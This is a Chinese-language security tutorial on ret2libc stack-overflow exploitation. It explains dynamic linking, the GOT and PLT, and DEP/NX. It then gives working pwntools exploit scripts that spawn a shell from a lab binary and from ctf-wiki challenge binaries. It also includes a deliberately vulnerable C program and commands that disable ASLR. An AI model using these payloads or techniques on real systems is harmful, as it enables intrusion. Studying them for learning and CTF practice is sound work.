StackOverFlow之Ret2libc詳解
*本文作者:h1mmel,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
0×00 前言
我的上一篇文章 ofollow,noindex" target="_blank">《StackOverFlow之Ret2ShellCode詳解》 談到的棧溢位攻擊方法是 ret2shellcode ,其主要思想就是控制返回地址使其指向 shellcode 所在的區域 。該技術能夠成功的關鍵點在於: 1、程式存在溢位,並且還要能夠控制返回地址 2、程式執行時,shellcode 所在的區域要擁有執行許可權 3、作業系統還需要關閉 ASLR (地址空間佈局隨機化) 保護 。 現在開啟 DEP(Data Execution Prevention)/NX(Non-executable) 資料執行保護,通過利用 ret2libc 技術繞過該保護機制,接下來就是通過示例演示如何利用 ret2libc 的攻擊方式實現任意程式碼執行 。
0×01 利用思路
ret2libc 這種攻擊方式主要是針對 動態連結(Dynamic linking) 編譯的程式,因為正常情況下是無法在程式中找到像 system() 、execve() 這種系統級函式(如果程式中直接包含了這種函式就可以直接控制返回地址指向他們,而不用通過這種麻煩的方式)。因為程式是動態連結生成的,所以在程式執行時會呼叫 libc.so (程式被裝載時,動態連結器會將程式所有所需的動態連結庫載入至程序空間,libc.so 就是其中最基本的一個) , libc.so 是 linux 下 C 語言庫中的執行庫 glibc 的動態連結版,並且 libc . so 中包含了大量的可以利用的函式,包括 system() 、execve() 等系統級函式,我們可以通過找到這些函式在記憶體中的地址覆蓋掉返回地址來獲得當前程序的控制權。通常情況下,我們會選擇執行 system(“/bin/sh”) 來開啟 shell, 如此就只剩下兩個問題:
1、找到 system() 函式的地址;
2、在記憶體中找到 “/bin/sh” 這個字串的地址。
0×02 什麼是動態連結(Dynamic linking)
動態連結 是指在程式裝載時通過 動態連結器 將程式所需的所有 動態連結庫(Dynamic linking library) 裝載至程序空間中( 程式按照模組拆分成各個相對獨立的部分),當程式執行時才將他們連結在一起形成一個完整程式的過程。它誕生的最主要的的原因就是 靜態連結 太過於浪費記憶體和磁碟的空間,並且現在的軟體開發都是模組化開發,不同的模組都是由不同的廠家開發,在 靜態連結 的情況下,一旦其中某一模組發生改變就會導致整個軟體都需要重新編譯,而通過 動態連結 的方式就推遲這個連結過程到了程式執行時進行。這樣做有以下幾點好處:
1、節省記憶體、磁碟空間
例如磁碟中有兩個程式,p1、p2,且他們兩個都包含 lib.o 這個模組,在 靜態連結 的情況下他們在連結輸出可執行檔案時都會包含 lib.o 這個模組,這就造成了磁碟空間的浪費。當這兩個程式執行時,記憶體中同樣也就包含了這兩個相同的模組,這也就使得記憶體空間被浪費。當系統中包含大量類似 lib.o 這種被多個程式共享的模組時,也就會造成很大空間的浪費。在 動態連結 的情況下,執行 p1 ,當系統發現需要用到 lib.o ,就會接著載入 lib.o 。這時我們執行 p2 ,就不需要重新載入 lib.o 了,因為此時 lib.o 已經在記憶體中了,系統僅需將兩者連結起來,此時記憶體中就只有一個 lib.o 節省了記憶體空間。
2、程式更新更簡單
比如程式 p1 所使用的 lib.o 是由第三方提供的,等到第三方更新、或者為 lib.o 打補丁的時候,p1 就需要拿到第三方最新更新的 lib.o ,重新連結後在將其釋出給使用者。程式依賴的模組越多,就越發顯得不方便,畢竟都是從網路上獲取新資源。在 動態連結 的情況下,第三方更新 lib.o 後,理論上只需要覆蓋掉原有的 lib.o ,就不必重新連結整個程式,在程式下一次執行時,新版本的目標檔案就會自動裝載到記憶體並且連結起來,就完成了升級的目標。
3、增強程式擴充套件性和相容性
動態連結 的程式在執行時可以動態地選擇載入各種模組,也就是我們常常使用的外掛。軟體的開發商開發某個產品時會按照一定的規則制定好程式的介面,其他開發者就可以通過這種介面來編寫符合要求的動態連結檔案,以此來實現程式功能的擴充套件。增強相容性是表現在 動態連結 的程式對不同平臺的依賴差異性降低,比如對某個函式的實現機制不同,如果是 靜態連結 的程式會為不同平臺釋出不同的版本,而在 動態連結 的情況下,只要不同的平臺都能提供一個動態連結庫包含該函式且介面相同,就只需用一個版本了。
總而言之, 動態連結 的程式在執行時會根據自己所依賴的 動態連結庫 ,通過 動態連結器 將他們載入至記憶體中,並在此時將他們連結成一個完整的程式。Linux 系統中, ELF 動態連結檔案被稱為 動態共享物件(Dynamic Shared Objects) , 簡稱 共享物件 一般都是以 “.so” 為副檔名的檔案;在 windows 系統中就是常常軟體報錯缺少 xxx.dll 檔案。
0×03 GOT (Global offset Table)
瞭解完 動態連結 ,會有一個問題: 共享物件 在被裝載時,如何確定其在記憶體中的地址?下面簡單的介紹一下,要使 共享物件 能在任意地址裝載就需要利用到 裝載時重定位 的思想,即在連結時對所有的絕對地址的引用不做重定位而將這一步推遲到裝載時再完成,一旦裝載模組確定,系統就對所有的絕對地址引用進行重定位。但是隨之而來的問題是,指令部分無法在多個程序之間共享,這又產生了一個新的技術 地址無關程式碼 (PIC,Position-independent Code) ,該技術基本思想就是將指令中需要被修改的部分分離出來放在資料部分,這樣就能保證指令部分不變且資料部分又可以在程序空間中保留一個副本,也就避免了不能節省空間的情況。那麼重新定位後的程式是怎麼進行資料訪問和函式呼叫的呢?下面用實際程式碼驗證 :
編寫兩個模組,一個是程式自身的程式碼模組,另一個是共享物件模組。以此來學習動態連結的程式是如何進行模組內、模組間的函式呼叫和資料訪問,共享檔案如下:
got_extern.c #include <stdio.h> int b; void test() { printf("test\n"); }
編譯成32位共享物件檔案:
gcc got_extern.c -fPIC -shared -m32 -o got_extern.so
-fPIC 選項是生成地址無關程式碼的程式碼,gcc 中還有另一個 -fpic 選項,差別是fPIC產生的程式碼較大但是跨平臺性較強而fpic產生的程式碼較小,且生成速度更快但是在不同平臺中會有限制。一般會採用fPIC選項 -shared 選項是生成共享物件檔案 -m32 選項是編譯成32位程式 -o 選項是定義輸出檔案的名稱
編寫的程式碼模組:
got.c #include <stdio.h> static int a; extern int b; extern void test(); int fun() { a = 1; b = 2; } int main(int argc, char const *argv[]) { fun(); test(); printf("hey!"); return 0; }
和共享模組一同編譯:
gcc got.c ./got_extern.so -m32 -o got
用 objdump 檢視反彙編程式碼 objdump -D -Mintel got:
000011b9 <fun>: 11b9:55pushebp 11ba:89 e5movebp,esp 11bc:e8 63 00 00 00call1224 <__x86.get_pc_thunk.ax> 11c1:05 3f 2e 00 00addeax,0x2e3f 11c6:c7 80 24 00 00 00 01 movDWORD PTR [eax+0x24],0x1 11cd:00 00 00 11d0:8b 80 ec ff ff ffmoveax,DWORD PTR [eax-0x14] 11d6:c7 00 02 00 00 00movDWORD PTR [eax],0x2 11dc:90nop 11dd:5dpopebp 11de:c3ret 000011df <main>: 11df:8d 4c 24 04leaecx,[esp+0x4] 11e3:83 e4 f0andesp,0xfffffff0 11e6:ff 71 fcpushDWORD PTR [ecx-0x4] 11e9:55pushebp 11ea:89 e5movebp,esp 11ec:53pushebx 11ed:51pushecx 11ee:e8 cd fe ff ffcall10c0 <__x86.get_pc_thunk.bx> 11f3:81 c3 0d 2e 00 00addebx,0x2e0d 11f9:e8 bb ff ff ffcall11b9 <fun> 11fe:e8 5d fe ff ffcall1060 <test@plt> 1203:83 ec 0csubesp,0xc 1206:8d 83 08 e0 ff ffleaeax,[ebx-0x1ff8] 120c:50pusheax 120d:e8 2e fe ff ffcall1040 <printf@plt> 1212:83 c4 10addesp,0x10 1215:b8 00 00 00 00moveax,0x0 121a:8d 65 f8leaesp,[ebp-0x8] 121d:59popecx 121e:5bpopebx 121f:5dpopebp 1220:8d 61 fcleaesp,[ecx-0x4] 1223:c3ret
1、模組內部呼叫
main()函式中呼叫 fun()函式 ,指令為:
11f9:e8 bb ff ff ffcall11b9 <fun>
fun() 函式所在的地址為 0x000011b9 ,機器碼 e8 代表 call 指令,為什麼後面是 bb ff ff ff 而不是 b9 11 00 00 (小端儲存)呢?這後面的四個位元組代表著目的地址相對於當前指令的下一條指令地址的偏移,即 0x11f9 + 0×5 + (-69) = 0x11b9 ,0xffffffbb 是 -69 的補碼形式,這樣做就可以使程式無論被裝載到哪裡都會正常執行。
2、模組內部資料訪問
ELF 檔案是由很多很多的 段(segment) 所組成,常見的就如 .text (程式碼段) 、.data(資料段,存放已經初始化的全域性變數或靜態變數)、.bss(資料段,存放未初始化全域性變數)等,這樣就能做到資料與指令分離互不干擾。在同一個模組中,一般前面的記憶體區域存放著程式碼後面的區域存放著資料(這裡指的是 .data 段)。那麼指令是如何訪問遠在 .data 段 中的資料呢?
觀察 fun() 函式中給靜態變數 a 賦值的指令:
11bc:e8 63 00 00 00call1224 <__x86.get_pc_thunk.ax> 11c1:05 3f 2e 00 00addeax,0x2e3f 11c6:c7 80 24 00 00 00 01 movDWORD PTR [eax+0x24],0x1 11cd:00 00 00
從上面的指令中可以看出,它先呼叫了 __x86.get_pc_thunk.ax() 函式:
00001224 <__x86.get_pc_thunk.ax>: 1224:8b 04 24moveax,DWORD PTR [esp] 1227:c3ret
這個函式的作用就是把返回地址的值放到 eax 暫存器中,也就是把0x000011c1儲存到eax中,然後再加上 0x2e3f ,最後再加上 0×24 。即 0x000011c1 + 0x2e3f + 0×24 = 0×4024,這個值就是相對於模組載入基址的值。通過這樣就能訪問到模組內部的資料。
3、模組間資料訪問
變數 b 被定義在其他模組中,其地址需要在程式裝載時才能夠確定。利用到前面的程式碼地址無關的思想,把地址相關的部分放入資料段中,然而這裡的變數 b 的地址與其自身所在的模組裝載的地址有關。解決:ELF 中在資料段裡面建立了一個 指向這些變數的指標陣列 ,也就是我們所說的 GOT 表(Global offset Table, 全域性偏移表 ) ,它的功能就是當代碼需要引用全域性變數時,可以通過 GOT 表間接引用。
檢視反彙編程式碼中是如何訪問變數 b 的:
11bc:e8 63 00 00 00call1224 <__x86.get_pc_thunk.ax> 11c1:05 3f 2e 00 00addeax,0x2e3f 11c6:c7 80 24 00 00 00 01 movDWORD PTR [eax+0x24],0x1 11cd:00 00 00 11d0:8b 80 ec ff ff ffmoveax,DWORD PTR [eax-0x14] 11d6:c7 00 02 00 00 00movDWORD PTR [eax],0x2
計算變數 b 在 GOT 表中的位置,0x11c1 + 0x2e3f – 0×14 = 0x3fec ,檢視 GOT 表的位置。
命令 objdump -h got ,檢視ELF檔案中的節頭內容:
21 .got0000001800003fe800003fe800002fe82**2 CONTENTS, ALLOC, LOAD, DATA
這裡可以看到 .got 在檔案中的偏移是 0x00003fe8,現在來看在動態連線時需要重定位的項,使用 objdump -R got 命令
00003fec R_386_GLOB_DATb
可以看到變數b的地址需要重定位,位於0x00003fec,在GOT表中的偏移就是4,也就是第二項(每四個位元組為一項),這個值正好對應之前通過指令計算出來的偏移值。
4、模組間函式呼叫
模組間函式呼叫用到了延遲繫結,都是函式名@plt的形式,後面再說
11fe:e8 5d fe ff ffcall1060 <test@plt>
0×04 延遲繫結(Lazy Binding) && PLT(Procedure Linkage Table)
因為 動態連結 的程式是在執行時需要對全域性和靜態資料訪問進行GOT定位,然後間接定址。同樣,對於模組間的呼叫也需要GOT定位,再才間接跳轉,這麼做勢必會影響到程式的執行速度。而且程式在執行時很大一部分函式都可能用不到,於是ELF採用了當函式第一次使用時才進行繫結的思想,也就是我們所說的 延遲繫結 。ELF實現 延遲繫結 是通過 PLT ,原先 GOT 中存放著全域性變數和函式呼叫,現在把他拆成另個部分 .got 和 .got.plt,用 .got 存放著全域性變數引用,用 .got.plt 存放著函式引用。檢視 test@plt 程式碼,用 objdump -Mintel -d -j .plt got
-Mintel 選項指定 intel 彙編語法
-d 選項展示可執行檔案節的彙編形式
-j 選項後面跟上節名,指定節
00001060 <test@plt>: 1060:ff a3 14 00 00 00jmpDWORD PTR [ebx+0x14] 1066:68 10 00 00 00push0x10 106b:e9 c0 ff ff ffjmp1030 <.plt>
檢視 main()函式 中呼叫 test@plt 的反彙編程式碼
11ee:e8 cd fe ff ffcall10c0 <__x86.get_pc_thunk.bx> 11f3:81 c3 0d 2e 00 00addebx,0x2e0d 11f9:e8 bb ff ff ffcall11b9 <fun> 11fe:e8 5d fe ff ffcall1060 <test@plt>
__x86.gett_pc_thunk.bx 函式與之前的 __x86.get_pc_thunk.ax 功能一樣 ,得出 ebx = 0x11f3 + 0x2e0d = 0×4000 ,ebx + 0×14 = 0×4014 。首先 jmp 指令,跳轉到 0×4014 這個地址,這個地址在 .got.plt 節中 :
也就是當程式需要呼叫到其他模組中的函式時例如 fun() ,就去訪問儲存在 .got.plt 中的 fun@plt 。這裡有兩種情況,第一種就是第一次使用這個函式,這個地方就存放著第二條指令的地址,也就相當於什麼都不做。用 objdump -d -s got -j .got.plt 命令檢視節中的內容
-s 引數顯示指定節的所有內容
4014 處存放著 66 10 00 00 ,因為是小端序所以應為 0×00001066,這個位置剛好對應著 push 0×10 這條指令,這個值是 test 這個符號在 .rel.plt 節中的下標。繼續 jmp 指令跳到 .plt 處
push DWORD PTR [ebx + 0x4] 指令是將當前模組ID壓棧,也就是 got.c 模組,接著 jmp DWORD PTR [ebx + 0x8] ,這個指令就是跳轉到 動態連結器 中的 _dl_runtime_resolve 函式中去。這個函式的作用就是在另外的模組中查詢需要的函式,就是這裡的在 got_extern.so 模組中的 test 函式。然後 _dl_runtime_resolve 函式會將 test() 函式的真正地址填入到 test@got 中去也就是 .got.plt 節中。那麼第二種情況就是,當第二次呼叫test()@plt 函式時,就會通過第一條指令跳轉到真正的函式地址。整個過程就是所說的通過 plt 來實現 延遲繫結 。程式呼叫外部函式的整個過程就是,第一次訪問 test@plt 函式時, 動態連結器 就會去動態共享模組中查詢 test 函式的真實地址然後將真實地址儲存到test@got中(.got.plt);第二次訪問test@plt時,就直接跳轉到test@got中去。
0×05 DEP( DataExecutionPrevention )/NX (Non-executable) 防護
該防護的作用簡單的說就是能寫的地方不能執行,能執行的地方不能寫。上篇的Ret2Shellcode,shellcode 所填充的位置是在棧上,但是開啟了 DEP 保護後棧上就沒有執行的許可權也就無法控制程式流程。
#undef _FORTIFY_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); }
不開啟 DEP 保護編譯:
gcc -fno-stack-protector -z execstack -o ret2lib ret2lib.c
檢視許可權命令:
cat /proc/[pid]/maps
程式執行在後臺命令:
./ret2lib &
許可權如下:
開啟 DEP 保護編譯:
gcc -fno-stack-protector -o ret2lib ret2lib.c
許可權如下:
可以看到在開啟DEP防護的情況下棧上面就沒有執行許可權了。
0×06 實戰I
重新編譯上面的程式並開啟DEP防護,關閉ASLR等其他防護:
gcc ret2lib.c -fno-stack-protector -no-pie -m32 -o ret2lib echo 0 > /proc/sys/kernel/randomize_va_space
checksec檢視安全防護:
觀察原始碼,發現在 vulnerable_function() 函式中,buf只有128位元組而 read()函式可以讀256個位元組造成了緩衝區溢位。因為現在開啟了DEP防護,所以不能往棧裡面寫入shellcode了,通過前面對動態連結的學習知道動態連結的程式在執行時才會連結共享模組,用ldd命令檢視程式需要的共享模組:
程式依賴的是 libc.so.6 這個共享模組,這個共享模組裡面提供了大量可以利用的函式,我們的目的是執行 system(“/bin/sh”) 來開啟shell,也就是說只要在 libc 中找到了 system() 函式和 “/bin/sh” 字串的地址就可以控制返回地址開啟shell。
1、找 system() 函式
因為關閉了 ASLR ,共享庫的載入基址並不會發生改變,只要知道 system() 函式在共享庫中的偏移就能夠算出 system() 函式在記憶體中的地址。使用 objdump -T libc.so.6 命令就可以顯示處所有的動態連結符號表。
這裡可以看出 system() 函式的偏移為 0x0003d870,在加上基址 0xf7dcb000 + 0x0003d870 = 0xf7e08870 ,這個地址就是libc載入到記憶體空間後 system() 函式的真實地址。
2、查詢 /bin/sh 字串
這裡要用到一個工具 ROPgadget ,這個工具可以使你方便的在你的二進位制檔案中搜索 gadgets(片段)
同理真實地址為: 0xf7dcb000 + 0x0017c968 = 0xf7f47968。
當然,方法不唯一,也可以在gdb動態除錯時通過 p 命令打印出函式地址 ,find 命令查詢 “/bin/sh” 字串。還可以用 pwntools 等方法。
3、覆蓋返回地址
找到了 system() 函式和 “/bin/sh” 字串的地址,接下來的任務就是確定返回地址在哪兒。還是通過直接傳送大量的字元覆蓋返回地址使其在動態除錯時報錯的方法來確定偏移。
幾個gdb的常用命令:
-q 引數不顯示歡迎資訊等 -n 不載入任何外掛,使用原生 gdb info 後面跟上想要檢視的資訊,如函式資訊 info functions b/breakpoint 設定斷點 del/delete breakpoints n 刪除斷點,n是斷點編號,可用info breakpoints命令檢視斷點資訊 start 命令啟動程式並停在開闢完主函式棧幀的地方 c/continue 繼續執行程式,遇到斷點停下 f/finish 結束程式 r/run 執行程式,遇到斷點停下 ni 單步步過,一步一步執行指令遇到函式呼叫時直接執行完整個函式 si 單步步入,一步一步執行指令遇到函式呼叫時跳轉到函式內部 vmmap 檢視記憶體對映 checksec 檢視程式的防護措施 pdisass/disassemble 檢視當前函式幀的反彙編程式碼,前一個命令有高亮顯示只是需要安裝pwndbg外掛,後面一個命令時gdb自帶的命令無高亮顯示 p/print 列印資訊,如暫存器 p $ebp x/<n/f/u> <addr> 檢視某地址處的值,n/f/u 引數為可選,n代表想要檢視多少個記憶體單元即從當前地址開始計算,每個記憶體單元的大小由後面的u引數指定;f表示顯示格式,如s表示字串形式,i為指令形式;u指定記憶體單元大小,b(一個位元組)、h(雙位元組)、w(四個位元組)、g(八位元組)預設為w; 後面跟上x代表以十六進位制的形式檢視變數 set *addr = value 設定某個地址的值
更多命令可以檢視 這裡 。
cyclic 命令可以打印出類似四位元組一迴圈的字串,返回地址被這些值覆蓋後程序執行就會報無效地址錯誤。用gdb調式程式,輸入 r 執行程式,停在輸入處輸入cyclic字串,檢視無效地址
通過cyclic -l addr 命令可以得到返回地址與緩衝區的偏移
cyclic -l 0x6261616b 140
4、構造payload
payload = ’a’ * 140 + system_addr + system_ret_addr + binsh_addr
返回地址處放置 system() 函式的地址使當函式執行完畢時跳轉到 system() 函式處繼續執行,函式的呼叫過程是先將引數入棧,接著儲存返回地址,最後call system。system_ret_addr 是 system() 函式的地址,因為我們的目的就是開啟shell,所以這個返回地址隨便設定 一個值就可以。binsh_addr 放置的是引數 “/bin/sh” 字串的地址
5、用 pwntools 編寫 exp
from pwn import * #context.log_level = 'debug' debug = 1 if debug: sh = process('./ret2lib') system_addr = 0xf7e08870 binsh_addr= 0xf7f47968 payload = 'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr) def pwn(sh, payload): sh.sendline(payload) sh.interactive() pwn(sh, payload)
利用之前計算好的地址可以很輕鬆的拿到shell,當然這只是在關閉掉 ASLR 的情況下,下一篇會學習另外一種 ROP 技術來繞過ASLR 防,pwn 也會變得越來越有意思了。
0×07 實戰II
示例來自於 ctf-wiki ret2libc。
0×01 ret2libc1
32位動態連結程式,開啟 NX 防護:
1、IDA分析程式,漏洞點在於 gets() 函接收資料時未對其進行長度校驗從而造成棧溢位(IDA 的使用方法自行百度)。
2、繼續檢視函式列表,發現有一個 secure() 函式,該函式呼叫了 system() 函式,在程式連結時會為 system() 生成 plt 和 got 項。第一次呼叫函式時,會把函式真實的地址寫入got表中,所以我們可以直接覆蓋函式返回地址使其呼叫 system()@plt 模擬 system() 函式真實呼叫。IDA 中找到 system@plt 的地址:
或者使用 objdump 尋找也可以通過 pwntools 直接獲得:
system@plt = 0×08048460
3、查詢 “/bin/sh” 字串,可以用 ROPgadget 還可以只用 IDA 中的 string view 檢視程式中存在的字串方法為:view —> Open subviews —> Strings:
地址在 0×08048720 或者使用 ROPgadget 搜尋字串也可以通過pwntools直接獲得:
4、動態除錯程式檢視偏移
方法如上例,通過覆蓋返回地址使程式在函式返回時跳轉到無效地址引起偵錯程式報錯,偏移為:112
5、編寫 exp
from pwn import * #context.log_level = 'debug' sh = process('./ret2libc1') elf = ELF('ret2libc1') def pwn(sh, payload): sh.recvuntil('\n') sh.sendline(payload) sh.interactive() #system_addr = 0x08048460 system_addr = elf.plt['system'] #binsh_addr = 0x08048720 binsh_addr = elf.search('/bin/sh').next() ret_addr = 0xdeadbeef payload = 'a' * 112 + p32(system_addr) + p32(ret_addr) + p32(binsh_addr) pwn(sh, payload)
0×02 ret2libc2
與 ret2libc1 不同的是程式中不包含 “/bin/sh” 字串,需要自己將字串寫入到記憶體中。所以整個過程分成了兩部分,第一部分是將 “/bin/sh” 讀入到記憶體中;第二部分是執行 system() 獲取 shell。
1、構造 payload
第一部分:
‘a' * 112 + gets_plt + ret_addr + buf_addr
這裡需要思考兩點,第一點就是 buf 地址,我們的 “/bin/sh” 應該放在哪裡,通常我們會選擇 .bss (儲存未初始化全域性變數) 段,IDA 檢視 .bss 段發現程式給出了 buf2[100]陣列,正好就可以使用這塊區域。
現在考慮返回地址,因為在 gets() 函式完成後需要呼叫 system() 函式需要保持堆疊平衡,所以在呼叫完 gets() 函式後提升堆疊,這就需要 add esp, 4 這樣的指令但是程式中並沒有這樣的指令。更換思路,通過使用 pop xxx 指令也可以完成同樣的功能,在程式中找到了 pop ebx,ret 指令。
第二部分:
這部分就與上一題一樣,
system_plt + ret_addr + buf_addr
還有另外一種 payload 更簡潔情況:
在 gets() 函式呼叫完後,在返回地址處覆蓋上 system() 的地址將 gets() 函式的引數 buf 地址當成返回地址,再在後面加上 system() 函式的引數 buf。
’a' * 112 + gets_plt + system_plt + buf_addr + buf_addr
2、編寫 exp
from pwn import * #context.log_level = 'debug' sh = process('./ret2libc2') elf = ELF('ret2libc2') def pwn(sh, payload): sh.recvuntil('?') sh.sendline(payload) sh.sendline('/bin/sh')#這裡將 /bin/sh 傳入 buf 中 sh.interactive() buf = elf.symbols['buf2'] gets_plt = elf.plt['gets'] system_plt = elf.plt['system'] pop_ebx_ret = 0x0804843d ret_addr = 0xdeadbeef #payload = 'a' * 112 + p32(gets_plt) + p32(pop_ebx_ret) + p32(buf) + p32(system_plt) + p32(ret_addr) + p32(buf) payload = 'a' * 112 + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(buf) pwn(sh, payload)
0×08 總結
本文主要介紹了一下動態連結的基本過程,GOT、PLT、延遲繫結等有關技術點,有了這些基礎對理解 ret2libc 技術和後面繼續深入的其他技術會有很大的幫助。
0×09 參考
《程式設計師的自我修養 —— 連結、裝載與庫》這本書很細緻的講解了作業系統是如何載入和執行程式,極力推薦
*本文作者:h1mmel,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。